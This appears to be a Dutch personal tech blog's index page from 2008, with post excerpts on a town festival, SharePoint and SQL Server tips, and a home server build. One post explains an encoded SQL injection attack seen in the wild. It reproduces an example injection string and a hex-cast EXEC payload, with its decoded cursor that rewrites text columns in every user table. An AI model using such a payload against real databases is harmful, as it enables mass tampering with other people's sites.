Lemsterweek 2008 is teneinde

Nou, de Lemster week van 2008 zit er jammergenoeg weer op. Het was naar mijns inziens een prachtige week met alleen maar gezellige mensen. Eigenlijk heb ik de hele week weinig mensen gezien, omdat ik zelf druk was met bier tappen voor al die mensen. We hadden het ontzettend druk in de bierkarren. Normaal is het alleen woensdag en zaterdag mega druk, maar nu was het alle dagen druk, afgezien van zaterdag. Gisteren hadden we natuurlijk weer regen, hagel en onweer. Wel jammer om zo de week af te sluiten. Toch hebben we in de hele week nog heel wat liter bier, fris en wijn verkocht dus we hoeven niet te klagen. Na het werken was het ook nog gezellig druk in de kroegen, dus hebben ‘wij’ (het bierkar personeel) ook nog het nodige geconsumeerd. Een prachtige week, maar zoals bij alle dingen komt overal een eind aan. We kunnen er tenminste weer een jaar tegenaan. Ik heb nu al zin in de Lemster week 2009. Nu eerst nog een week de achtertuin in orde maken, hopelijk is die dan ook af na m’n vakantie.

Read more →

Titel-veld van inhoudstype Item wijzigen

Vorige week was ik bezig om enkele content types (inhoudstypes) aan te maken in m’n MOSS 2007 omgeving. Van een van die content types moest het titel veld eigenlijk een andere naam krijgen, soms komt het namelijk voor dat je geen titel hebt bij een type, maar wel iets anders. Uiteraard kun je dan kiezen om Titel te verbergen, maar ik wilde hem nu hernoemen. Dat hernoemen kan uiteraard wel, maar ik zat alweer een niveau te hoog en was ik bezig met het content type Item te wijzigen.

Nu ging ik vrolijk door met het wijzigen hiervan. Je krijgt dan zo’n melding dat je de betreffende site-kolom in een ander venster kan worden bewerkt. Dit deed ik dus en door de aanwijzingen op het scherm te volgen had ik dus Titel gewijzigd. Dit bleek niet een echt slimme actie te zijn geweest, want nu had ik het basis type in Sharepoint gewijzigd. Dit heeft als gevolg dat er veel dingen niet meer goed werken en dat al je types geen Titel meer hebben.

Het terug aanpassen van deze site kolom blijkt ook alweer onmogelijk te zijn, vanwege de beveiliging binnen Sharepoint. Wanneer je je kolom weer terug wilt aanpassen naar Titel, dan krijg je een foutmelding dat deze al bestaat. Op zich wel logisch, maar niet echt wenselijk. Gelukkig ben ik niet voor een gat te vangen en heb ik een fix kunnen doen. De fix uitte zich in een console applicatie met enkele parameters waar je op kunt geven welke kolom gehernoemd moet worden. Zo werk je eigenlijk dus om de beveiliging van Sharepoint heen. De code die ik gebruikt heb is dit:

Read more →

Nieuwsgroepen op WHS

Vandaag was ik even op zoek of er ook alternatieven zijn voor GrabIt! of NewsLeecher voor WHS. Dit alternatief heb ik gevonden in Ninan (Ninan is not a newsreader). De website ziet er op zich wel aardig uit https://www.ninan.org/modules/news/ en het is ook nog gratis. Wat het is, het is een in Java geschreven web applicatie die je dus op een server kunt gaan draaien. De software kijkt in een bepaalde map naar nieuwe NZB bestanden en die gedownloade bestanden plaatst hij dan in de download map. Redelijk eenvoudig dus. Op deze pagina https://www.ninan.org/modules/wfdownloads/viewcat.php?cid=1 kun je gelijk de Windows of Linux versie downloaden. In de bijgeleverde webpagina’s staat precies hoe je de applicitate moet installeren. Op zich is het niet enorm lastig, gewoon het bestand ninancore.bat opstarten en je bent al klaar. Daarna even de benodigde gegevens instellen voor je nieuwsgroepen en klaar ben je. Wel moet ik nog even uitvinden hoe je dit .bat-bestand als een service kunt opstarten. Het is immers niet de bedoeling dat ik continu zo’n lelijke dos-box in het scherm heb staan en de applicatie moet natuurlijk ook draaien als ik zelf niet op de server ben ingelogd. Op de website van Ninan staat wel hoe het ongeveer gaat, maar daar ben ik nog niet helemaal uit. Dat vergt nog nader onderzoek. Wat trouwens ook mooi is, Ninan doet zelf ook het parren en unrarren van gedownloade bestanden. Zodoende hoef je dus ook niet meer Quickpar te installeren op je systeem. Scheelt toch weer enkele minuten per dag parren. Voor nu ben ik echter wel weer tevreden.

Read more →

De server is een feit

Gisteren eindelijk m’n reepje 2GB geheugen binnen gekregen, uiteraard vergeten mee te nemen vanaf kantoor, dus kon ik het vandaag pas in m’n server klikken. Nadat het geheugen in m’n server zat heb ik eerst maar even een van m’n beeldschermen er op aangesloten om te kijken of het systeem uberhaupt boot. Ja, dit bleek het geval te zijn, hoewel de BIOS m’n processor nog niet kende. Nou ja, dat gaf op zich niet zo heel veel, aangezien het systeem wel gewoon werkte. De avond ben ik begonnen met de WHS installatie CD in een externe dvd-brander te stoppen en kijken of ik vanaf dat station kon installeren. Dit bleek mogelijk te zijn, dus installatie begon.

De installatietijd vond ik wel tegenvallen, zo’n 51 minuten. Wel weer een leuk nieuw schermpje waar niet enorm veel reclame wordt getoond dat dit OS weer enorm verbeterd is ten opzichte van de vorige. Jammergenoeg is WHS niet echt uitgerust met de nieuwste drivers en werd m’n netwerkkaart en geluid drivers niet gevonden. De driver cd die Gigabyte bij het moederbord had geleverd werkte ook niet in m’n externe brander. Wel op m’n Vista systeem, maar daar had ik dus niet zoveel aan. De drivers dus maar gekopieerd op een USB-stick en daar vanaf geinstalleerd. Ook gelijk maar een BIOS update gedownload en gedraaid. Hier heeft Gigabyte een handige tool voor, genaamd @BIOS. Gelukkig had ik de BIOS update al gedownload terwijl ik bestanden op het stickje was aan het kopieren, aangezien het blijkbaar standaard is dat moederbord fabrikanten een enorm lage upload hebben met drivers. Dit had ik al eens geconstatteerd bij ASUS en nu ook bij Gigabyte.

Read more →

Sharepoint op je Vista machine

Twee weken terug kwam ik een link tegen dat het nu eindelijk mogelijk is om Sharepoint te draaien op je Vista machine. Dat is natuurlijk helemaal geweldig, want eigenlijk vind ik de methode van ontwikkelen voor Sharepoint die er nu is helemaal ruk! Het slaat wat mij betreft nergens op dat je een of meerdere virtuele servers moet maken om op te ontwikkelen en daarna moet gaan deployen op een team-ontwikkel/acceptatie website en daarna nog eens een keer naar de klant gaat deployen. Ik kan de link op de MSDN site momenteel niet vinden met de basics van source control in Sharepoint, misschien dat die nog op m’n werk laptop staat, dan zet ik die er later nog even bij. De link met tekst en uitleg is trouwens: https://community.bamboosolutions.com/blogs/bambooteamblog/archive/2008/05/21/how-to-install-windows-sharepoint-services-3-0-sp1-on-vista-x64-x86.aspx Zelf heb ik het nog niet geprobeerd, aangezien ik m’n thuis desktop liever niet als testcase opzet voor zoiets (+ het feit dat ik m’n server daar zometeen voor ga inzetten) en ik ook nog geen Vista draai op m’n ontwikkel laptop. Of het allemaal goed werkt weet ik dus niet, maar het lijkt me wel dat je nu minimaal web parts lokaal kunt gaan ontwikkelen. Dat is toch wat mij betreft het grootste voordeel. Een hele WSS of MOSS omgeving op je lokale machine is natuurlijk ook wel leuk, maar mijn basic needs zijn echt het onwikkelen van web parts op een lokale machine. Of natuurlijk een laptop met een Quad-core CPU, 8GB RAM en een harde schijf van 500GB @ minstens 7200 RPM. Omdat ik toch ook wel een beetje reele kijk op de wereld heb snap ik ook wel dat dat het niet gaat worden.

Read more →

Geavanceerd zoeken op je team site in MOSS 2007

Onlangs moest ik een zoekfunctie implementeren op een Sharepoint site die ik had gemaakt. Op zich helemaal niet lastig, maar ik wilde de optie met Geavanceerd zoeken direct zichtbaar hebben. Toevallig had Amanda Murphy ( https://blog.funknstyle.com/?p=578 ) hetzelfde idee. Zij heeft hier heel veel screenshots bij gemaakt, maar ik leg zo even uit hoe het in z’n werk gaat.

Ten eerste moet je een nieuwe site maken. Deze site kun je zelf een titel geven en url, maar het is misschien handig om deze Search of Zoeken te noemen. Ten tweede kies je het template Zoekcentrum of Search Center te vinden onder het tabblad Enterprise (Nederlandse vertaling heb ik momenteel niet beschikbaar). Door deze site aan te maken beland je op de startpagina van het zoekcentrum met de link Geavanceerd zoeken. Klik op die link en kopieer de URL. Ga weer terug naar je bovenste website waar je de link wilt hebben (je zit nu namelijk in een subsite). Klik hier weer op Site Setting en dan Search settings of Zoekopties (volgens mij). Hier plak je de gekopieerde URL in het veld Use custom scopes en dan klik je op OK.

Resultaat is dat je de link ziet naast de zoekbox. Als je er op klikt zie je een scherm dat lijkt op hieronder Ja, de Nederlandse vertalingen van de Sharepoint opties moet ik even schuldig blijven. Zodra m’n server werkend is kan ik meer behulpzamer zijn op dat front.

Read more →

SQL replicatie tussen Standard en Express

Momenteel ben ik bezig met een project waarbij ik heb gekozen om gebruik te gaan maken van SQL replicatie tussen een SQL Server 2005 Standard en een SQL Server 2005 Express editie. Door gebruik te maken van de standaard replicatie methoden hoef ik zelf geen applicatie meer te maken welke eigenlijk precies hetzelfde doet, namelijk tabellen, stored procedures en functies synchroniseren tussen 2 databases.

Het opzetten van een Publication en Subscription is helemaal niet lastig. Microsoft heeft het systeem zo opgebouwd dat je eigenlijk alleen maar de wizard hoeft te volgen. Het enige waar je echt bij na hoeft te denken is welke tabellen, stored procedures en functies je wilt gaan repliceren.

Zodra je de publicatie klaar hebt kun je de client gaan opzetten, hier moet een Subscription worden gemaakt. Dit is eigenlijk ook niet veel lastiger dan de wizard te volgen. Waar wel op gelet moet worden is dat je de Publication Server benoemd met z’n echte naam, dus niet IP-adres.

Je krijgt ook niet echt de kans om het wel op IP-adres te doen, want dan volgt er gewoon een foutmelding. Nadat je de publicatie en het abonnement hebt ben je klaar, nou ja, dat verwacht je. Op een normale SQL Server omgeving is dit inderdaad het geval, ware het niet dat je nu met SQL Server Express te maken hebt en die niet echt normaal is. In Express zit namelijk geen SQL Agent, waardoor de database niet zelf in de gaten houdt of er een update klaar zou kunnen staan. Gelukkig kwam ik na even zoeken achter de oplossing op de MSDN website.

Read more →

Nieuwe vorm van SQL injection

Vandaag kwamen we op het werk een interessant stukje SQL injection tegen. Hoe je ’normaal’ een SQL injection aanval doet op een website is mij wel redelijk bekend. Gewoon in de querystring iets toevoegen als ';SELECT%20Naam%20FROM%20Tabel of iets in die trend. Niet echt hogere wiskunde dus. Als de variabele niet goed is beveiligd in de website danwel de database, dan kun je voor verassende dingen komen te staan. Vandaag zagen we echter een variant op het bovengenoemde fenomeen, namelijk een binaire string toevoegen in je querystring. Blijkbaar is dit een redelijk nieuwe methode een artikel op Bloombit ( https://www.bloombit.com/Articles/2008/05/ASCII-Encoded-Binary-String-Automated-SQL-Injection.aspx ) schrijft hier namelijk ook over en dat artikel is van mei 2008. Blijkbaar wordt de volgende code

DECLARE @S NVARCHAR(4000) SET @S = CAST(0x44004500 ... 06F007200 AS NVARCHAR(4000)) EXEC(@S)

zo vertaald:

DECLARE @T VARCHAR(255) DECLARE @C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT [A].[Name], [B].[Name] FROM sysobjects AS [A], syscolumns AS [B] WHERE [A].[ID] = [B].[ID] AND [A].[XType] = 'U' /* Table (User-Defined) */ AND ([B].[XType] = 99 /* NTEXT */ OR [B].[XType] = 35 /* TEXT */ OR [B].[XType] = 231 /* SYSNAME */ OR [B].[XType] = 167 /* VARCHAR */) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE (@@FETCH_STATUS = 0) BEGIN EXEC('UPDATE [' + @T + '] SET [' + @C + '] = RTRIM(CONVERT(VARCHAR, [' + @C + '])) + ''''') FETCH NEXT FROM Table_Cursor INTO @T, @C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Afgezien van de formattering en het commentaar natuurlijk.

Ik denk trouwens dat de …-reeks in het eerste voorbeeld staat voor heel veel binaire code’s, aangezien je anders natuurlijk nooit al die karakters kunt krijgen van het 2e voorbeeld.

Read more →

Een oude bekende

Vandaag was ik toevallig weer even bij m’n ouders thuis en zag daar een envelop met mijn naam er op van Ordina. Typisch, aangezien ik daar al een redelijke tijd niet meer werkzaam ben. Het was ook een best dikke envelop, dus was ik wel benieuwd. Snel even open maken dus, zat er een tegeltje in met een leuke spreuk, Oude liefde roest niet.

Na het lezen van de bijsluiter werd het helemaal duidelijk. Blijkbaar zoekt Ordina z’n ‘oude’ medewerkers op en nodigt ze uit voor reunies en dergelijke. Ik moet zeggen dat ik het idee wel leuk vind, zo’n tegeltje met een spreuk. Nu heb ik mijzelf nooit echt als een Ordinees gezien, dus heeft de betreffende spreuk minder toepassing op mij, maar toch is het wel leuk.

Read more →

Nieuwe server

Eindelijk is het dan zo ver, ik heb nu ook een echte server thuis. Voorheen mis/gebruikte ik m’n tablet pc hiervoor (Stylistic 5020), maar zo’n apparaat is niet echt geschikt om als dedicated server te werken. De harde schijf is daar simpelweg iets te langzaam voor (ik schat zo’n 4200rpm). Nu m’n vakantiegeld was gestort kon ik weer een grote aankoop doen. Vorige week kwam de eerste helft van m’n bestelling bij Centralpoint en vandaag de tweede helft.

Jammergenoeg hebben ze nog niet het RAM-geheugen verzonden, dus kan ik de server nog niet gebruiken. Het idee van deze nieuwe server is dat ik het als fileserver, webserver, Sharepoint server, sourcecontrol en ik verzin vast nog wel wat ga gebruiken. Op zich moet het allemaal goed kunnen, want het systeem is redelijk krachtig.

Bottleneck zou het aantal GB RAM kunnen zijn, dat is namelijk 2GB, maar gezien de prijzen van tegenwoordig zou dat eventueel nog wel uitgebreid kunnen worden. Wat wel jammer is, is dat WHS (Windows Home Server) is gebasseerd op de 32-bit editie van Windows Server 2003, waardoor je niet meer dan 3,5GB RAM geheugen kunt aanspreken. Eerst maar even een foto van de hardware De hardware is:

  • 1x een Antec EarthWatts 380 (80-plus certified) voeding
  • 1x een AMD Athlon 64 X2 Dual-Core 4850E processor
  • 1x een Gigabyte MA69VM-S2 moederbord
  • 2x Western Digital Caviar 500 harde schijven
  • 1x 2GB 800MHz Kingston ValueRam (CL5) geheugen (moet nog worden geleverd)
  • 1x een Antec PerformanceOne P180 behuizing
  • 1x een Windows Home Server licentie

Waarom specifiek deze hardware?
Nou, de voeding is een 80-plus certified.
Dit geeft een garantie dat hij een efficientie van meer dan 80% heeft. Behoorlijk zuinig voor de huidige voedingen dus. Ook heb ik niet zo’n zware voeding nodig, omdat het systeem is gebouwd om zuinig te zijn. De 380W die de voeding kan leveren is dus meer dan voldoende. Eerst was ik van plan een minder zware processor te nemen, namelijk de 4050E, ook van AMD.

Read more →